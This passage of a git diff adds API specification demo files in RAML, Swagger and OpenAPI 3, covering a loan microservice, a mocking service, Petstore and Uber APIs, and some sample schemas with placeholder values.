"otherIncome" : "otherIncome", + "firstName" : "firstName", + "addTypePrevious" : "addTypePrevious", + "anyPoliticalRelationship" : true, + "monthsAtCurrAdd" : 7 + } + } + }, + "Application" : { + "type" : "object", + "properties" : { + "applicationId" : { + "type" : "string" + }, + "applicationState" : { + "type" : "string" + }, + "applicationStatus" : { + "type" : "string" + }, + "branch" : { + "$ref" : "#/definitions/Branch" + }, + "loanTerm" : { + "type" : "integer", + "format" : "int32" + }, + "loanYearPeriod" : { + "type" : "integer", + "format" : "int32" + }, + "ownerShip" : { + "type" : "string" + }, + "pendingWith" : { + "type" : "string" + }, + "requestedAmt" : { + "type" : "integer", + "format" : "int32" + }, + "uid" : { + "type" : "integer", + "format" : "int32" + }, + "user" : { + "$ref" : "#/definitions/User" + }, + "userName" : { + "type" : "string" + }, + "vehicle" : { + "$ref" : "#/definitions/Vehicle" + } + }, + "example" : { + "pendingWith" : "pendingWith", + "requestedAmt" : 1, + "applicationState" : "applicationState", + "ownerShip" : "ownerShip", + "userName" : "userName", + "branch" : { + "apartmentNo" : "apartmentNo", + "branchId" : 0, + "zipCode" : "zipCode", + "city" : "city", + "street" : "street", + "branchName" : "branchName", + "contactPerson" : "contactPerson", + "state" : "state", + "phoneNo" : "phoneNo" + }, + "vehicle" : { + "zipCode" : "zipCode", + "city" : "city", + "sellerName" : "sellerName", + "sellerAddress" : "sellerAddress", + "vehicleMake" : "vehicleMake", + "transactionType" : "transactionType", + "estimatedValue" : 7, + "vehicleYear" : 1, + "street" : "street", + "approxMileage" : "approxMileage", + "vehicleModel" : "vehicleModel", + "vehIdentNo" : "vehIdentNo", + "regState" : "regState", + "state" : "state", + "vehicleId" : 1, + "vehicleType" : "vehicleType" + }, + "loanYearPeriod" : 6, + "uid" : 5, + "loanTerm" : 0, + "applicationStatus" : "applicationStatus", + "applicationId" : "applicationId", + "user" : { + "apartmentNo" : "apartmentNo", + "lastName" : "lastName", + "zipCode" : "zipCode", + "annualIncome" : 5, + "housingStatus" : "housingStatus", + "city" : "city", + "permanentResidence" : true, + "suffix" : "suffix", + "phoneNo" : 9, + "ssn" : 3, + "uid" : 2, + "yearsAtCurrAdd" : 4, + "monthlyPayment" : 2, + "street" : "street", + "state" : "state", + "addTypePrimary" : "addTypePrimary", + "email" : "email", + "initial" : "initial", + "citizenOf" : true, + "dateOfBirth" : "2000-01-23T04:56:07.000+00:00", + "userName" : "userName", + "otherIncome" : "otherIncome", + "firstName" : "firstName", + "addTypePrevious" : "addTypePrevious", + "anyPoliticalRelationship" : true, + "monthsAtCurrAdd" : 7 + } + } + } + } +} diff --git a/demo/apis/mocking-service/mocking-service.raml b/demo/apis/mocking-service/mocking-service.raml new file mode 100644 index 0000000..f033c77 --- /dev/null +++ b/demo/apis/mocking-service/mocking-service.raml @@ -0,0 +1,149 @@ +#%RAML 1.0 + +version: v1 +types: + Response: + type: object + properties: + msg: string + code: integer + examples: + r1: + msg: "OK" + code: 12 + r2: + msg: "error" + code: 001 +title: Mocking Server 2 + +/test: + get: + + headers: + h1: + type: boolean + default: false + example: false + h2: + required: true + type: string + default: A + + queryParameters: + parameter1: + type: string + example: A + responses: + 200: + body: + application/json: + type: Response + put: + body: + application/json: + type: object + properties: + id: integer + name: string + example: + id: 222 + name: John Doe + responses: + 201: + body: + application/json: + type: object + properties: + code: string + msg: string + example: + code: M1 + msg: CREATED + post: + body: + application/json: + type: object + properties: + list: + type: array + items: integer + example: + list: [1,3,5] + responses: + 201: + body: + application/json: + type: Response + + + delete: + protocols: [ HTTP ] + queryParameters: + id: + type: string + example: s1 + default: s2 + responses: + 200: + body: + application/json: + type: Response + + options: + displayName: options + queryParameters: + qp1: + type: array + items: string + default: [A,B] + example: [C,D] + headers: + h1: + type: boolean + default: false + example: true + head: + responses: + 200: + body: + application/json: + + type: Response + properties: + headers: + X-PSN-Exists: + type: boolean + enum: [true, false] + example: true + patch: + body: + application/xml: + + queryParameters: + patchId: + type: integer + example: 123 + default: 34 + responses: + 200: + body: + application/json: + type: Response + trace: + headers: + exp: date-only + body: + application/json: + type: object + properties: + txNumber: + type: number + expirationDate: + type: date-only + + connect: + responses: + 200: + body: + application/json: + type: Response diff --git a/demo/multi-server/multi-server.yaml b/demo/apis/multi-server/multi-server.yaml similarity index 100% rename from demo/multi-server/multi-server.yaml rename to demo/apis/multi-server/multi-server.yaml diff --git a/demo/apis/new-oas3-types/new-oas3-types.yaml b/demo/apis/new-oas3-types/new-oas3-types.yaml new file mode 100644 index 0000000..ae39a38 --- /dev/null +++ b/demo/apis/new-oas3-types/new-oas3-types.yaml @@ -0,0 +1,84 @@ +openapi: 3.0.1 +info: + title: New OAS 3 types API + version: v1 +components: + schemas: + Person: + type: object + properties: + pets: + type: array + items: + $ref: '#/components/schemas/Pet' + Pet: + oneOf: + - $ref: '#/components/schemas/Cat' + - $ref: '#/components/schemas/Dog' + - $ref: '#/components/schemas/Tiger' + Animal: + type: object + discriminator: + propertyName: petType + properties: + name: + type: string + petType: + type: string + required: + - name + - petType + Monster: + anyOf: + - $ref: '#/components/schemas/Cat' + - $ref: '#/components/schemas/Dog' + - $ref: '#/components/schemas/Tiger' + Cat: ## "Cat" will be used as the discriminator value + description: A representation of a cat + allOf: + - $ref: '#/components/schemas/Animal' + - type: object + properties: + huntingSkill: + type: string + description: The measured skill for hunting + enum: + - clueless + - lazy + - adventurous + - aggressive + required: + - huntingSkill + Dog: ## "Dog" will be used as the discriminator value + description: A representation of a dog + allOf: + - $ref: '#/components/schemas/Animal' + - type: object + properties: + packSize: + type: integer + format: int32 + description: the size of the pack the dog is from + default: 0 + minimum: 0 + required: + - packSize + Tiger: + description: A representation of a Tiger + type: object + properties: + deadliness: + type: number +paths: + /pets: + get: + description: Returns all available pets + responses: + 200: + description: List of pets + content: + application/json: + schema: + type: array + items: + - $ref: '#/components/schemas/Pet' \ No newline at end of file diff --git a/demo/nexmo-sms-api/nexmo-sms-api.raml b/demo/apis/nexmo-sms-api/nexmo-sms-api.raml similarity index 100% rename from demo/nexmo-sms-api/nexmo-sms-api.raml rename to demo/apis/nexmo-sms-api/nexmo-sms-api.raml diff --git a/demo/apis/no-endpoints/no-endpoints.raml b/demo/apis/no-endpoints/no-endpoints.raml new file mode 100644 index 0000000..a6962db --- /dev/null +++ b/demo/apis/no-endpoints/no-endpoints.raml @@ -0,0 +1,14 @@ +#%RAML 1.0 +title: Amazon S3 REST API +version: 1 +mediaType: application/json + +types: + person: + type: object + properties: + name: string + age?: number + + manager: + type: person diff --git a/demo/apis/no-server/no-server.raml b/demo/apis/no-server/no-server.raml new file mode 100644 index 0000000..2a722b7 --- /dev/null +++ b/demo/apis/no-server/no-server.raml @@ -0,0 +1,27 @@ +#%RAML 1.0 +title: Amazon S3 REST API +version: 1 +mediaType: application/json + +types: + person: + type: object + properties: + name: string + age?: number + + manager: + type: person + +/users/: + get: + responses: + 200: + body: + application/json: + type: manager + example: + { + name: "Martin", + age: 45 + } diff --git a/demo/apis/oas-api/LoanMicrosrvice.yaml b/demo/apis/oas-api/LoanMicrosrvice.yaml new file mode 100644 index 0000000..d280b9f --- /dev/null +++ b/demo/apis/oas-api/LoanMicrosrvice.yaml @@ -0,0 +1,339 @@ +swagger: '2.0' +info: + description: >- + Loan microservice contains set of fine grained services to handle with all + the loan related informations like, update the User information, generate + uinque application id, fetch the nearest branch details, vehicle make and + other related information. + version: version-1.0.3 + title: Loan Microservice + termsOfService: Terms of service + contact: + name: John Becker + email: JohnBecker@cognizant.com +host: https://qax.anypoint.mulesoft.com # host: loanapplication.cfapps.io +basePath: /mocking/api/links/7a6fb617-a7dd-44d6-8213-301202f4b1f7/ # basePath: / +tags: + - name: loan-application-controller + description: Loan Application Controller +paths: + /branchdetail: + get: + tags: + - loan-application-controller + summary: Fetch Branch Details + description: Service to fetch the Branch Details based on the Given Zip code + operationId: fetchBranchDetailsUsingGET + consumes: + - application/json + produces: + - application/json + parameters: + - name: zipCode + in: query + description: >- + Input the zipcode value to get the branches available in the + location + required: true + type: string + responses: + '200': + description: Successfully retrieved branch details + schema: + $ref: '#/definitions/Branch' + headers: + Branch: + type: string + description: The fetched branch resource + '401': + description: You are not authorized to view the resource + '403': + description: Accessing the resource you were trying to reach is forbidden + '404': + description: The resource you were trying to reach is not found + /loanapplication: + post: + tags: + - loan-application-controller + summary: Submit Loan Application + description: Service to Create a Loan Applicaiton Details + operationId: saveLoanApplicationDetailsUsingPOST + consumes: + - application/json + produces: + - application/json + parameters: + - in: body + name: loanApplication + description: >- + Input the loanapplication object to save the loan details to the + service + required: true + schema: + $ref: '#/definitions/LoanApplication' + responses: + '200': + description: Successfully retrieved loan application + schema: + $ref: '#/definitions/Application' + headers: + Application: + type: string + description: The submitted Loan resource + '201': + description: Created + '401': + description: You are not authorized to view the resource + '403': + description: Accessing the resource you were trying to reach is forbidden + '404': + description: The resource you were trying to reach is not found + /username: + get: + tags: + - loan-application-controller + summary: Find ApplicationId + description: Service to find application id based on user name + operationId: findByUserNameUsingGET + consumes: + - application/json + produces: + - application/json + parameters: + - name: userName + in: query + description: >- + Input the username to fetch the application details available for + the user + required: true + type: string + responses: + '200': + description: Successfully retrieved account details + schema: + type: string + headers: + ApplicationId: + type: string + description: The fetched ApplicationId resource + '401': + description: You are not authorized to view the resource + '403': + description: Accessing the resource you were trying to reach is forbidden + '404': + description: The resource you were trying to reach is not found + /vehicledetail: + get: + tags: + - loan-application-controller + summary: Find Vehicle Details + description: Service to find the vehicle model based on vehicle make + operationId: findByVehicleModelUsingGET + consumes: + - application/json + produces: + - application/json + parameters: + - name: vehicleMake + in: query + description: Input the vehiclemake value to retrieve the vehicle details + required: true + type: string + responses: + '200': + description: Successfully retrieved vechicle details + schema: + type: array + items: + $ref: '#/definitions/VehicleDetail' + headers: + VehicleDetail: + type: string + description: The fetched VehicleDetail resource + '401': + description: You are not authorized to view the resource + '403': + description: Accessing the resource you were trying to reach is forbidden + '404': + description: The resource you were trying to reach is not found +definitions: + Vehicle: + type: object + properties: + approxMileage: + type: string + city: + type: string + estimatedValue: + type: integer + format: int32 + regState: + type: string + sellerAddress: + type: string + sellerName: + type: string + state: + type: string + street: + type: string + transactionType: + type: string + vehIdentNo: + type: string + vehicleId: + type: integer + format: int32 + vehicleMake: + type: string + vehicleModel: + type: string + vehicleType: + type: string + vehicleYear: + type: integer + format: int32 + zipCode: + type: string + VehicleDetail: + type: object + properties: + id: + type: string + vehIdentNo: + type: string + vehicleDetailsId: + type: integer + format: int32 + vehicleMake: + type: string + vehicleModel: + type: string + vehicleType: + type: string + vehicleYear: + type: integer + format: int32 + User: + type: object + properties: + addTypePrevious: + type: string + addTypePrimary: + type: string + annualIncome: + type: integer + anyPoliticalRelationship: + type: boolean + apartmentNo: + type: string + citizenOf: + type: boolean + city: + type: string + dateOfBirth: + type: string + format: date-time + email: + type: string + firstName: + type: string + housingStatus: + type: string + initial: + type: string + lastName: + type: string + monthlyPayment: + type: integer + monthsAtCurrAdd: + type: integer + format: int32 + otherIncome: + type: string + permanentResidence: + type: boolean + phoneNo: + type: integer + format: int32 + ssn: + type: integer + format: int32 + state: + type: string + street: + type: string + suffix: + type: string + uid: + type: integer + format: int32 + userName: + type: string + yearsAtCurrAdd: + type: integer + format: int32 + zipCode: + type: string + Branch: + type: object + properties: + apartmentNo: + type: string + branchId: + type: integer + format: int32 + branchName: + type: string + city: + type: string + contactPerson: + type: string + phoneNo: + type: string + state: + type: string + street: + type: string + zipCode: + type: string + LoanApplication: + type: object + properties: + application: + $ref: '#/definitions/Application' + user: + $ref: '#/definitions/User' + Application: + type: object + properties: + applicationId: + type: string + applicationState: + type: string + applicationStatus: + type: string + branch: + $ref: '#/definitions/Branch' + loanTerm: + type: integer + format: int32 + loanYearPeriod: + type: integer + format: int32 + ownerShip: + type: string + pendingWith: + type: string + requestedAmt: + type: integer + format: int32 + uid: + type: integer + format: int32 + user: + $ref: '#/definitions/User' + userName: + type: string + vehicle: + $ref: '#/definitions/Vehicle' \ No newline at end of file diff --git a/demo/apis/oas-api/Petstore-v2.yaml b/demo/apis/oas-api/Petstore-v2.yaml new file mode 100644 index 0000000..63dca45 --- /dev/null +++ b/demo/apis/oas-api/Petstore-v2.yaml @@ -0,0 +1,144 @@ +swagger: "2.0" +info: + version: 1.0.0 + title: Swagger Petstore + description: A sample API that uses a petstore as an example to demonstrate features in the swagger-2.0 specification + termsOfService: http://swagger.io/terms/ + contact: + name: Swagger API Team + email: apiteam@swagger.io + url: http://swagger.io + license: + name: Apache 2.0 + url: https://www.apache.org/licenses/LICENSE-2.0.html +host: petstore.swagger.io +basePath: /api +schemes: + - http +consumes: + - application/json +produces: + - application/json +paths: + /pets: + get: + description: | + Returns all pets from the system that the user has access to + operationId: findPets + summary: Finds pets by tag + deprecated: true + parameters: + - name: tags + in: query + description: tags to filter by + required: false + type: array + collectionFormat: csv + items: + type: string + - name: limit + in: query + description: maximum number of results to return + required: false + type: integer + format: int32 + responses: + "200": + description: pet response + schema: + type: array + items: + $ref: '#/definitions/Pet' + default: + description: unexpected error + schema: + $ref: '#/definitions/Error' + post: + description: Creates a new pet in the store. Duplicates are allowed + operationId: addPet + parameters: + - name: pet + in: body + description: Pet to add to the store + required: true + schema: + $ref: '#/definitions/NewPet' + responses: + "200": + description: pet response + schema: + $ref: '#/definitions/Pet' + default: + description: unexpected error + schema: + $ref: '#/definitions/Error' + /pets/{id}: + get: + description: Returns a user based on a single ID, if the user does not have access to the pet + operationId: find pet by id + parameters: + - name: id + in: path + description: ID of pet to fetch + required: true + type: integer + format: int64 + responses: + "200": + description: pet response + schema: + $ref: '#/definitions/Pet' + default: + description: unexpected error + schema: + $ref: '#/definitions/Error' + delete: + description: deletes a single pet based on the ID supplied + operationId: deletePet + parameters: + - name: id + in: path + description: ID of pet to delete + required: true + type: integer + format: int64 + responses: + "204": + description: pet deleted + default: + description: unexpected error + schema: + $ref: '#/definitions/Error' +definitions: + Pet: + allOf: + - $ref: '#/definitions/NewPet' + - $ref: '#/definitions/Error' + - required: + - id + properties: + id: + type: integer + format: int64 + test: + type: string + + NewPet: + required: + - name + properties: + name: + type: string + tag: + type: string + + Error: + required: + - code + - message + properties: + code: + type: integer + format: int32 + message: + type: string diff --git a/demo/apis/oas-api/Petstore.raml b/demo/apis/oas-api/Petstore.raml new file mode 100644 index 0000000..a045773 --- /dev/null +++ b/demo/apis/oas-api/Petstore.raml @@ -0,0 +1,141 @@ +#%RAML 1.0 +title: Swagger Petstore +description: A sample API that uses a petstore as an example to demonstrate features in the swagger-2.0 specification +version: 1.0.0 +(oas-info): + termsOfService: 'http://swagger.io/terms/' + contact: + name: Swagger API Team + url: 'http://swagger.io' + email: apiteam@swagger.io + license: + name: Apache 2.0 + url: 'https://www.apache.org/licenses/LICENSE-2.0.html' +annotationTypes: + oas-info: + properties: + termsOfService?: string + contact?: + properties: + name?: string + url?: string + email?: string + license?: + properties: + name?: string + url?: string + allowedTargets: API + oas-responses-default: + type: any + allowedTargets: Method + oas-collectionFormat: + type: string + oas-body-name: + type: string + allowedTargets: TypeDeclaration +mediaType: application/json +protocols: + - HTTP +baseUri: 'http://petstore.swagger.io/api' +types: + Pet: + type: NewPet + properties: + id: + type: integer + format: int64 + NewPet: + properties: + name: + type: string + tag: + type: string + required: false + Error: + properties: + code: + type: integer + format: int32 + message: + type: string +/pets: + get: + description: | + Returns all pets from the system that the user has access to + displayName: findPets + (oas-responses-default): + description: unexpected error + body: + application/json: + type: Error + responses: + '200': + description: pet response + body: + application/json: + type: array + items: + type: Pet + queryParameters: + tags: + description: tags to filter by + required: false + type: array + items: + type: string + (oas-collectionFormat): csv + limit: + description: maximum number of results to return + required: false + type: integer + format: int32 + post: + description: Creates a new pet in the store. Duplicates are allowed + displayName: addPet + (oas-responses-default): + description: unexpected error + body: + application/json: + type: Error + responses: + '200': + description: pet response + body: + application/json: + type: Pet + body: + application/json: + description: Pet to add to the store + type: NewPet + (oas-body-name): pet + '/{id}': + get: + description: 'Returns a user based on a single ID, if the user does not have access to the pet' + displayName: find pet by id + (oas-responses-default): + description: unexpected error + body: + application/json: + type: Error + responses: + '200': + description: pet response + body: + application/json: + type: Pet + delete: + description: deletes a single pet based on the ID supplied + displayName: deletePet + (oas-responses-default): + description: unexpected error + body: + application/json: + type: Error + responses: + '204': + description: pet deleted + uriParameters: + id: + description: ID of pet to delete + type: integer + format: int64 diff --git a/demo/apis/oas-api/UBER.raml b/demo/apis/oas-api/UBER.raml new file mode 100644 index 0000000..54ec130 --- /dev/null +++ b/demo/apis/oas-api/UBER.raml @@ -0,0 +1,274 @@ +#%RAML 1.0 +title: Uber API +description: Move your app forward with the Uber API +version: 1.0.0 +mediaType: application/json +protocols: + - HTTPS +baseUri: https://mocksvc.mulesoft.com/mocks/b676fe7d-73fc-43fe-bc91-6e1a6d7207ee/v1 # baseUri: 'https://api.uber.com/v1' +securitySchemes: + apikey: + type: Pass Through + describedBy: + queryParameters: + server_token: + type: string +types: + Product: + properties: + product_id: + description: 'Unique identifier representing a specific product for a given latitude & longitude. For example, uberX in San Francisco will have a different product_id than uberX in Los Angeles.' + type: string + description: + description: Description of product. + type: string + display_name: + description: Display name of product. + type: string + capacity: + description: 'Capacity of product. For example, 4 people.' + type: integer + image: + description: Image URL representing the product. + type: string + ProductList: + properties: + products: + description: Contains the list of products + type: array + items: + type: Product + PriceEstimate: + properties: + product_id: + description: 'Unique identifier representing a specific product for a given latitude & longitude. For example, uberX in San Francisco will have a different product_id than uberX in Los Angeles' + type: string + currency_code: + description: '[ISO 4217](http://en.wikipedia.org/wiki/ISO_4217) currency code.' + type: string + display_name: + description: Display name of product. + type: string + estimate: + description: 'Formatted string of estimate in local currency of the start location. Estimate could be a range, a single number (flat rate) or "Metered" for TAXI.' + type: string + low_estimate: + description: Lower bound of the estimated price. + type: number + high_estimate: + description: Upper bound of the estimated price. + type: number + surge_multiplier: + description: Expected surge multiplier. Surge is active if surge_multiplier is greater than 1. Price estimate already factors in the surge multiplier. + type: number + Profile: + properties: + first_name: + description: First name of the Uber user. + type: string + last_name: + description: Last name of the Uber user. + type: string + email: + description: Email address of the Uber user + type: string + picture: + description: Image URL of the Uber user. + type: string + promo_code: + description: Promo code of the Uber user. + type: string + Activity: + properties: + uuid: + description: Unique identifier for the activity + type: string + Activities: + properties: + offset: + description: Position in pagination. + type: integer + format: int32 + limit: + description: Number of items to retrieve (100 max). + type: integer + format: int32 + count: + description: Total number of items available. + type: integer + format: int32 + history: + type: array + items: + type: Activity + Error: + properties: + code: + type: integer + format: int32 + message: + type: string + fields: + type: string +annotationTypes: + oas-responses-default: + type: any + allowedTargets: Method + oas-summary: + type: string + allowedTargets: Method + oas-tags: + type: 'string[]' + allowedTargets: Method + oas-format: + type: string + allowedTargets: TypeDeclaration +/estimates: + /price: + get: + description: 'The Price Estimates endpoint returns an estimated price range for each product offered at a given location. The price estimate is provided as a formatted string with the full price range and the localized currency symbol.

The response also includes low and high estimates, and the [ISO 4217](http://en.wikipedia.org/wiki/ISO_4217) currency code for situations requiring currency conversion. When surge is active for a particular product, its surge_multiplier will be greater than 1, but the price estimate already factors in this multiplier.' + (oas-responses-default): + description: Unexpected error + body: + application/json: + type: Error + responses: + '200': + description: An array of price estimates by product + body: + application/json: + type: array + items: + type: PriceEstimate + queryParameters: + start_latitude: + description: Latitude component of start location. + type: number + format: double + start_longitude: + description: Longitude component of start location. + type: number + format: double + end_latitude: + description: Latitude component of end location. + type: number + format: double + end_longitude: + description: Longitude component of end location. + type: number + format: double + (oas-summary): Price Estimates + (oas-tags): + - Estimates + /time: + get: + description: 'The Time Estimates endpoint returns ETAs for all products offered at a given location, with the responses expressed as integers in seconds. We recommend that this endpoint be called every minute to provide the most accurate, up-to-date ETAs.' + (oas-responses-default): + description: Unexpected error + body: + application/json: + type: Error + responses: + '200': + description: An array of products + body: + application/json: + type: array + items: + type: Product + queryParameters: + start_latitude: + description: Latitude component of start location. + type: number + format: double + start_longitude: + description: Longitude component of start location. + type: number + format: double + customer_uuid: + description: Unique customer identifier to be used for experience customization. + type: string + (oas-format): uuid + required: false + product_id: + description: Unique identifier representing a specific product for a given latitude & longitude. + type: string + required: false + (oas-summary): Time Estimates + (oas-tags): + - Estimates +/history: + get: + description: 'The User Activity endpoint returns data about a user''s lifetime activity with Uber. The response will include pickup locations and times, dropoff locations and times, the distance of past requests, and information about which products were requested.

The history array in the response will have a maximum length based on the limit parameter. The response value count may exceed limit, therefore subsequent API requests may be necessary.' + (oas-responses-default): + description: Unexpected error + body: + application/json: + type: Error + responses: + '200': + description: History information for the given user + body: + application/json: + type: Activities + queryParameters: + offset: + description: Offset the list of returned results by this amount. Default is zero. + type: integer + format: int32 + required: false + limit: + description: 'Number of items to retrieve. Default is 5, maximum is 100.' + type: integer + format: int32 + required: false + (oas-summary): User Activity + (oas-tags): + - User +/me: + get: + description: The User Profile endpoint returns information about the Uber user that has authorized with the application. + (oas-responses-default): + description: Unexpected error + body: + application/json: + type: Error + responses: + '200': + description: Profile information for a user + body: + application/json: + type: Profile + (oas-summary): User Profile + (oas-tags): + - User +/products: + get: + description: 'The Products endpoint returns information about the Uber products offered at a given location. The response includes the display name and other details about each product, and lists the products in the proper display order.' + (oas-responses-default): + description: Unexpected error + body: + application/json: + type: Error + responses: + '200': + description: An array of products + body: + application/json: + type: array + items: + type: Product + queryParameters: + latitude: + description: Latitude component of location. + type: number + format: double + longitude: + description: Longitude component of location. + type: number + format: double + securedBy: + - apikey + (oas-summary): Product Types + (oas-tags): + - Products diff --git a/demo/apis/oas-api/UBER.yaml b/demo/apis/oas-api/UBER.yaml new file mode 100644 index 0000000..173b7c3 --- /dev/null +++ b/demo/apis/oas-api/UBER.yaml @@ -0,0 +1,272 @@ +swagger: "2.0" +info: + title: Uber API + description: Move your app forward with the Uber API + version: "1.0.0" +# the domain of the service +host: api.uber.com +# array of all schemes that your API supports +schemes: + - https +# will be prefixed to all paths +basePath: /v1 +securityDefinitions: + apikey: + type: apiKey + name: server_token + in: query +produces: + - application/json +paths: + /products: + get: + summary: Product Types + description: The Products endpoint returns information about the Uber products offered at a given location. The response includes the display name and other details about each product, and lists the products in the proper display order. + + parameters: + - name: latitude + in: query + description: Latitude component of location. + required: true + type: number + format: double + - name: longitude + in: query + description: Longitude component of location. + required: true + type: number + format: double + security: + - apikey: [] + tags: + - Products + responses: + "200": + description: An array of products + schema: + type: array + items: + $ref: '#/definitions/Product' + default: + description: Unexpected error + schema: + $ref: '#/definitions/Error' + /estimates/price: + get: + summary: Price Estimates + description: The Price Estimates endpoint returns an estimated price range for each product offered at a given location. The price estimate is provided as a formatted string with the full price range and the localized currency symbol.

The response also includes low and high estimates, and the [ISO 4217](http://en.wikipedia.org/wiki/ISO_4217) currency code for situations requiring currency conversion. When surge is active for a particular product, its surge_multiplier will be greater than 1, but the price estimate already factors in this multiplier. + parameters: + - name: start_latitude + in: query + description: Latitude component of start location. + required: true + type: number + format: double + - name: start_longitude + in: query + description: Longitude component of start location. + required: true + type: number + format: double + - name: end_latitude + in: query + description: Latitude component of end location. + required: true + type: number + format: double + - name: end_longitude + in: query + description: Longitude component of end location. + required: true + type: number + format: double + tags: + - Estimates + responses: + "200": + description: An array of price estimates by product + schema: + type: array + items: + $ref: '#/definitions/PriceEstimate' + default: + description: Unexpected error + schema: + $ref: '#/definitions/Error' + /estimates/time: + get: + summary: Time Estimates + description: The Time Estimates endpoint returns ETAs for all products offered at a given location, with the responses expressed as integers in seconds. We recommend that this endpoint be called every minute to provide the most accurate, up-to-date ETAs. + parameters: + - name: start_latitude + in: query + description: Latitude component of start location. + required: true + type: number + format: double + - name: start_longitude + in: query + description: Longitude component of start location. + required: true + type: number + format: double + - name: customer_uuid + in: query + type: string + format: uuid + description: Unique customer identifier to be used for experience customization. + - name: product_id + in: query + type: string + description: Unique identifier representing a specific product for a given latitude & longitude. + tags: + - Estimates + responses: + "200": + description: An array of products + schema: + type: array + items: + $ref: '#/definitions/Product' + default: + description: Unexpected error + schema: + $ref: '#/definitions/Error' + /me: + get: + summary: User Profile + description: The User Profile endpoint returns information about the Uber user that has authorized with the application. + tags: + - User + responses: + "200": + description: Profile information for a user + schema: + $ref: '#/definitions/Profile' + default: + description: Unexpected error + schema: + $ref: '#/definitions/Error' + /history: + get: + summary: User Activity + description: The User Activity endpoint returns data about a user's lifetime activity with Uber. The response will include pickup locations and times, dropoff locations and times, the distance of past requests, and information about which products were requested.

The history array in the response will have a maximum length based on the limit parameter. The response value count may exceed limit, therefore subsequent API requests may be necessary. + parameters: + - name: offset + in: query + type: integer + format: int32 + description: Offset the list of returned results by this amount. Default is zero. + - name: limit + in: query + type: integer + format: int32 + description: Number of items to retrieve. Default is 5, maximum is 100. + tags: + - User + responses: + "200": + description: History information for the given user + schema: + $ref: '#/definitions/Activities' + default: + description: Unexpected error + schema: + $ref: '#/definitions/Error' +definitions: + Product: + properties: + product_id: + type: string + description: Unique identifier representing a specific product for a given latitude & longitude. For example, uberX in San Francisco will have a different product_id than uberX in Los Angeles. + description: + type: string + description: Description of product. + display_name: + type: string + description: Display name of product. + capacity: + type: integer + description: Capacity of product. For example, 4 people. + image: + type: string + description: Image URL representing the product. + ProductList: + properties: + products: + description: Contains the list of products + type: array + items: + $ref: "#/definitions/Product" + PriceEstimate: + properties: + product_id: + type: string + description: Unique identifier representing a specific product for a given latitude & longitude. For example, uberX in San Francisco will have a different product_id than uberX in Los Angeles + currency_code: + type: string + description: "[ISO 4217](http://en.wikipedia.org/wiki/ISO_4217) currency code." + display_name: + type: string + description: Display name of product. + estimate: + type: string + description: Formatted string of estimate in local currency of the start location. Estimate could be a range, a single number (flat rate) or "Metered" for TAXI. + low_estimate: + type: number + description: Lower bound of the estimated price. + high_estimate: + type: number + description: Upper bound of the estimated price. + surge_multiplier: + type: number + description: Expected surge multiplier. Surge is active if surge_multiplier is greater than 1. Price estimate already factors in the surge multiplier. + Profile: + properties: + first_name: + type: string + description: First name of the Uber user. + last_name: + type: string + description: Last name of the Uber user. + email: + type: string + description: Email address of the Uber user + picture: + type: string + description: Image URL of the Uber user. + promo_code: + type: string + description: Promo code of the Uber user. + Activity: + properties: + uuid: + type: string + description: Unique identifier for the activity + Activities: + properties: + offset: + type: integer + format: int32 + description: Position in pagination. + limit: + type: integer + format: int32 + description: Number of items to retrieve (100 max). + count: + type: integer + format: int32 + description: Total number of items available. + history: + type: array + items: + $ref: '#/definitions/Activity' + Error: + properties: + code: + type: integer + format: int32 + message: + type: string + fields: + type: string \ No newline at end of file diff --git a/demo/apis/oas-api/petstore-expanded.raml b/demo/apis/oas-api/petstore-expanded.raml new file mode 100644 index 0000000..a045773 --- /dev/null +++ b/demo/apis/oas-api/petstore-expanded.raml @@ -0,0 +1,141 @@ +#%RAML 1.0 +title: Swagger Petstore +description: A sample API that uses a petstore as an example to demonstrate features in the swagger-2.0 specification +version: 1.0.0 +(oas-info): + termsOfService: 'http://swagger.io/terms/' + contact: + name: Swagger API Team + url: 'http://swagger.io' + email: apiteam@swagger.io + license: + name: Apache 2.0 + url: 'https://www.apache.org/licenses/LICENSE-2.0.html' +annotationTypes: + oas-info: + properties: + termsOfService?: string + contact?: + properties: + name?: string + url?: string + email?: string + license?: + properties: + name?: string + url?: string + allowedTargets: API + oas-responses-default: + type: any + allowedTargets: Method + oas-collectionFormat: + type: string + oas-body-name: + type: string + allowedTargets: TypeDeclaration +mediaType: application/json +protocols: + - HTTP +baseUri: 'http://petstore.swagger.io/api' +types: + Pet: + type: NewPet + properties: + id: + type: integer + format: int64 + NewPet: + properties: + name: + type: string + tag: + type: string + required: false + Error: + properties: + code: + type: integer + format: int32 + message: + type: string +/pets: + get: + description: | + Returns all pets from the system that the user has access to + displayName: findPets + (oas-responses-default): + description: unexpected error + body: + application/json: + type: Error + responses: + '200': + description: pet response + body: + application/json: + type: array + items: + type: Pet + queryParameters: + tags: + description: tags to filter by + required: false + type: array + items: + type: string + (oas-collectionFormat): csv + limit: + description: maximum number of results to return + required: false + type: integer + format: int32 + post: + description: Creates a new pet in the store. Duplicates are allowed + displayName: addPet + (oas-responses-default): + description: unexpected error + body: + application/json: + type: Error + responses: + '200': + description: pet response + body: + application/json: + type: Pet + body: + application/json: + description: Pet to add to the store + type: NewPet + (oas-body-name): pet + '/{id}': + get: + description: 'Returns a user based on a single ID, if the user does not have access to the pet' + displayName: find pet by id + (oas-responses-default): + description: unexpected error + body: + application/json: + type: Error + responses: + '200': + description: pet response + body: + application/json: + type: Pet + delete: + description: deletes a single pet based on the ID supplied + displayName: deletePet + (oas-responses-default): + description: unexpected error + body: + application/json: + type: Error + responses: + '204': + description: pet deleted + uriParameters: + id: + description: ID of pet to delete + type: integer + format: int64 diff --git a/demo/apis/oas-api/petstore-expanded.yaml b/demo/apis/oas-api/petstore-expanded.yaml new file mode 100644 index 0000000..a70757d --- /dev/null +++ b/demo/apis/oas-api/petstore-expanded.yaml @@ -0,0 +1,139 @@ +swagger: "2.0" +info: + version: 1.0.0 + title: Swagger Petstore + description: A sample API that uses a petstore as an example to demonstrate features in the swagger-2.0 specification + termsOfService: http://swagger.io/terms/ + contact: + name: Swagger API Team + email: apiteam@swagger.io + url: http://swagger.io + license: + name: Apache 2.0 + url: https://www.apache.org/licenses/LICENSE-2.0.html +host: petstore.swagger.io +basePath: /api +schemes: + - http +consumes: + - application/json +produces: + - application/json +paths: + /pets: + get: + description: | + Returns all pets from the system that the user has access to + operationId: findPets + parameters: + - name: tags + in: query + description: tags to filter by + required: false + type: array + collectionFormat: csv + items: + type: string + - name: limit + in: query + description: maximum number of results to return + required: false + type: integer + format: int32 + responses: + "200": + description: pet response + schema: + type: array + items: + $ref: 